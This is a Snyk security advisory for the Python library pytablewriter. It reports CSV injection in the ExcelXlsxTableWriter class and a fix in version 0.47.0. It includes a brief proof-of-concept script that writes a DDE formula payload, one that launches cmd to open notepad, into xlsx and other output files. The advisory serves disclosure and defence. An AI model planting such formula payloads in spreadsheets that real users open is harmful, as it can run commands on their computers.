Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade pytablewriter
to version 0.47.0 or higher.
Affected versions of this package are vulnerable to CSV Injection via the ExcelXlsxTableWriter
class.
from pytablewriter import ExcelXlsxTableWriter, JsonTableWriter, HtmlTableWriter, ExcelXlsTableWriter
VALUES = [
# These ones are OK:
(HtmlTableWriter, "html"),
(JsonTableWriter, "json"),
(ExcelXlsTableWriter, "xls"),
# Injection on this class:
(ExcelXlsxTableWriter, "xlsx"),
]
for (Writer, extension) in VALUES:
writer = Writer()
writer.table_name = "test"
writer.headers = ["x"]
writer.value_matrix = [["=cmd|' /C notepad'!'A1'"]]
writer.dump("test." + extension)